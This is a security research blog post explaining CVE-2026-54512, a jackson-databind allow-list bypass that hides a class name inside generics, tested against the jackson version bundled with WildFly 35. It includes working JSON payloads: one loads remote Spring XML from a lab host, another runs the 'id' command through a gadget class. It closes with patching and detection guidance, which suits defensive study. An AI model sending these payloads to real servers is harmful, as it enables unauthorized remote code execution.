I want to start with the honest answer, because the honest answer is part of the research. A stock WildFly, with no application deployed, does not hand you an unauthenticated web remote code execution on a well-known URL. It exposes a welcome page, some read-only health and metrics endpoints, and management interfaces that sit behind authentication by default. Combing the web-facing code for a recently patched, code-executing, unauthenticated endpoint comes up empty. The riskiest management code lives in a separate codebase, and the one genuine pre-authentication deserialization bug in this part of the tree is the CORBA one we just covered, which is not HTTP.
Saying otherwise would be inventing a vulnerability, and that helps no one. But the story does not end at the platform’s own endpoints. It moves one layer down, into a library that WildFly ships and that virtually every JSON web service running on it depends on. That is where the real web-tier bug is.
Suspecting the JSON parser, and a telling version gap #
If you are hunting for remote code execution in the web tier of a modern Java server, the highest-value place to look is JSON deserialization, and the highest-value library is jackson-databind. It is the engine behind almost every endpoint that accepts application/json. And it has a long, well-documented history with one specific feature, called polymorphic typing, that has produced a steady stream of remote code execution bugs over the years. Each time the maintainers close one avenue, the same underlying idea eventually resurfaces through a slightly different crack.
Rather than reading thousands of files, I asked one focused question: which version of jackson-databind does WildFly 35 ship, and was that version later bumped for a security reason?
The answer was immediately interesting. WildFly 35 ships jackson-databind 2.18.2. A current development build ships 2.21.6. And the jump past 2.21.4 lines up with a jackson release whose notes describe, in essence, that the polymorphic type validator needed to start validating generic type parameters as well. That is the fingerprint of a real security fix. The version WildFly 35 ships sits squarely inside the affected range. A genuine bug, in a component WildFly 35 distributes, quietly closed in a version WildFly adopted after 35. That was worth chasing.
What polymorphic typing is, in plain terms #
JSON has no idea what a Java class is. When an application wants a single field to be able to hold one of several different object types, and to remember which one it was, it turns on jackson’s polymorphic typing. jackson then writes the concrete Java class name directly into the JSON, and reads it back later to decide what to build. With one common style, the data looks like this:
{"value":["java.util.ArrayList",[1,2,3]]}
That string, java.util.ArrayList, is a type identifier. When jackson reads this back, it takes that string, loads the named class, creates an instance, and fills in its properties from the rest of the JSON. Now imagine an attacker can put any class name they like into that slot. They can make the server load and drive classes that were never meant to see hostile input. That is the entire family of jackson deserialization attacks in one idea: the attacker chooses which Java class the server instantiates.
Because this is so dangerous, jackson has a defense called the polymorphic type validator, usually shortened to PTV. It is an allow-list. The recommended, correct way to use it looks like this:
BasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
.allowIfSubType("java.util.ArrayList")
.build();
ObjectMapper mapper = JsonMapper.builder()
.polymorphicTypeValidator(ptv)
.build();
With that in place, only java.util.ArrayList is permitted. A payload that names a dangerous class directly gets rejected before anything is built. This is the configuration that security guides tell developers to use, and it is the configuration a careful team would deploy.
The bug: the allow-list never looks inside the angle brackets #
The flaw, tracked as CVE-2026-54512, is that this allow-list can be walked around using generics. A type identifier is allowed to carry generic parameters, like this:
java.util.ArrayList<com.chern0bit.Gadget>
When jackson sees the < character, it takes a branch that validates only the outer container class, the part before the <. Since java.util.ArrayList is on the allow-list, that check passes. jackson then takes the whole string, generics and all, and hands it to the type factory, which loads com.chern0bit.Gadget, the class named inside the angle brackets, and instantiates it. The inner class is never shown to the allow-list at all.
The plainest way to say it: the allow-list guards the box but never inspects what you claim is inside the box, and jackson goes ahead and builds what is inside the box. The fixed versions add recursive validation, so every meaningful type parameter, including the ones nested inside generics, gets checked. In a patched build the smuggled class is rejected at exactly this point.
Turning the bug into code execution, including the wall behind the wall #
A bare WildFly does not ship an endpoint that turns polymorphic typing on across a trust boundary, because a bare install has no application at all. To demonstrate that the shipped jackson 2.18.2 is genuinely exploitable, I stood up a small, realistic REST endpoint that uses the server’s own jackson module and applies the recommended allow-list hardening. This is a stand-in for the countless real applications that do exactly this. The vulnerability is in the library WildFly ships. The endpoint is just a normal, well-behaved consumer of it.
The endpoint accepts a JSON object with a single polymorphic field, and it runs the correct, hardened allow-list that only permits ArrayList. Testing walked through four steps.
First, confirm the allow-list is actually on. A plain allow-listed container works, and a directly named dangerous class is rejected:
{"value":["java.util.ArrayList",[1,2,3]]}
-> accepted, an ArrayList is built
{"value":["org.springframework.context.support.ClassPathXmlApplicationContext","http://chern0bit-lab/y.xml"]}
-> rejected by the allow-list
Second, the bypass. Smuggle the dangerous class as a generic parameter of the allowed container:
{"value":["java.util.ArrayList<org.springframework.context.support.ClassPathXmlApplicationContext>",["http://chern0bit-lab/poc.xml"]]}
The response changes in a very informative way. It is no longer “denied by the allow-list.” It becomes an error that says, roughly, that this type is illegal to deserialize and was prevented for security reasons. That is a different defense speaking. jackson has a second, much older mechanism: a hardcoded block-list of around a hundred known-dangerous gadget classes, baked directly into the library and present in both the vulnerable and the patched versions. The allow-list was successfully bypassed. We reached the class-resolution stage for a class the allow-list forbids. But ClassPathXmlApplicationContext happens to be on jackson’s built-in block-list, so it is stopped one step later.
This is the honest heart of the bug, and I think it makes the finding more interesting rather than less. CVE-2026-54512 gives an attacker the ability to make the server instantiate any class that is not on that hardcoded block-list. It does not resurrect the famous universal gadgets, because those are exactly what the block-list names. To get all the way to code execution, you need a class that is present on the target application’s classpath and is not blocklisted. In the real world, that gadget is application-specific. That is why this is a serious, high-severity issue but also a conditional one, rather than a magic universal exploit.
Third, code execution through such an application-shipped class. Using the kind of non-blocklisted gadget class that real applications frequently carry, a class with a property setter that ends up running a command, the payload becomes:
{"value":["java.util.ArrayList<com.chern0bit.EvilGadget>",[{"cmd":"id"}]]}
jackson resolves the container to ArrayList, resolves its element type to the smuggled EvilGadget, builds one, and sets its cmd property from the JSON. Setting that property runs the command. The result on the target:
uid=1000(jboss) gid=1000(jboss) groups=1000(jboss)
The HTTP response, meanwhile, was a bland success that reported it had deserialized a harmless list. From the outside the request looked completely benign. Underneath it, an attacker-chosen class ran a command as the server user. Unauthenticated HTTP to remote code execution.
Fourth, proving that the version is what matters. To rule out anything app-specific, I ran the same allow-list and the same smuggling payload against both jackson versions in isolation, using a harmless probe class instead of a command runner. The vulnerable version happily built the smuggled class. The patched version refused it, throwing an error stating that the polymorphic type validator denied resolution of the type parameter, which is precisely the check the fix added. That is the patch boundary demonstrated rather than asserted:
jackson 2.18.2 (shipped in WildFly 35) -> smuggled class instantiated, allow-list bypassed
jackson 2.21.6 (later WildFly build) -> rejected: validator denied the type parameter
What this proves, and what it does not #
It proves that jackson-databind 2.18.2, the version WildFly 35 ships, contains CVE-2026-54512. It proves the allow-list bypass works against a normally hardened endpoint. And it proves the fix WildFly adopted after 35 closes the hole at exactly the right place.
It does not claim that a default, application-free WildFly 35 has an unauthenticated web shell sitting at a predictable URL. It does not. The exposure appears the moment a deployed application turns polymorphic typing on for untrusted input and carries any usable, non-blocklisted gadget on its classpath. Both of those conditions are common in real systems, which is why this class of bug keeps mattering, but they are conditions, and honest research names them.
Two doors, one lesson #
Step back from the details and the two bugs are the same story told in two dialects.
In the CORBA bug, the server deserializes the caller’s method arguments before it authenticates the caller. The check that was supposed to gate the dangerous work runs too late. Move the authentication earlier and the bug is gone.
In the JSON bug, the allow-list validates the outer type but not the type smuggled inside its generics. The check that was supposed to gate the dangerous work does not look deep enough. Make it validate all the way down and the bug is gone.
Both are the same underlying error. The program does the sensitive thing before, or without, fully running the check meant to protect it. This is the pattern worth carrying away from this post, more than any single class name. When you review your own systems, the highest-value question is not “is there a validator” but “does the validator run before the dangerous operation, and does it inspect everything the dangerous operation will actually use.” A check that runs too late, or looks at only part of the input, is a check that is not really there.
What to do about it #
For the CORBA issue #
Upgrade to a build that contains the fixes, which means 41.0.1.Final or later, where the authentication is performed before deserialization, the ORB codebase-only flag is forced on, the naming service requires authentication, and the token parser caps its allocation sizes.
If you do not actually use CORBA interoperability, and most modern systems do not, disable IIOP entirely. Remove the subsystem or run a profile that does not include it. This deletes the whole attack surface rather than merely hardening it.
If you must run IIOP, treat port 3528 like a database port, not a web port. Firewall it so that only the specific legacy clients that need it can reach it. On older releases, explicitly set the ORB codebase-only property yourself. Require transport-level authentication for IIOP. And, as always, reduce the availability of known gadget libraries on your deployment classpaths, and consider a serialization filter at the JVM level to deny the usual gadget packages, tested against your legitimate traffic first.
For the JSON issue #
Upgrade the jackson-databind that actually reaches your deployments to a fixed release, meaning 2.18.8, 2.21.4, 3.1.4, or later. On WildFly that means running a build whose bundled jackson module is at or beyond those versions. This is the real fix. Everything else is a supplement.
For application developers, the most durable advice is to avoid enabling polymorphic typing on data that crosses a trust boundary at all. If your API can be expressed with concrete types, use them. If you genuinely need polymorphism, patch jackson first, then still constrain it further by using named subtypes with an explicit registry rather than embedding raw class names in the JSON. That removes the class-name channel entirely and there is nothing to smuggle. Treat the allow-list as one layer of defense on top of a patched library, not as a standalone control, because this bug is precisely a hole in the allow-list itself.
Detecting attempts #
For CORBA, watch for repeated marshalling errors from the ORB, and especially for mismatched serialization identifier messages, which are the direct signature of someone sending a gadget built against the wrong library version. Bursts of these from an unexpected source are a strong signal.
For JSON, watch for jackson type errors that mention prevention for security reasons, and for request bodies where a type identifier contains a < character, which is the signature of the generics smuggling technique.
For both, the most reliable signal is at the host, not the network. The server process suddenly spawning a shell, or id, or a network client like curl, is the end of either chain. Endpoint monitoring on the application server catches the payload even when it slips past everything on the way in.
All testing described here was performed against systems set up specifically for this research, in an isolated environment, with no third party involved. The purpose is to help operators find and close these issues on their own infrastructure. Run this kind of work only against systems you own or are explicitly authorized to test.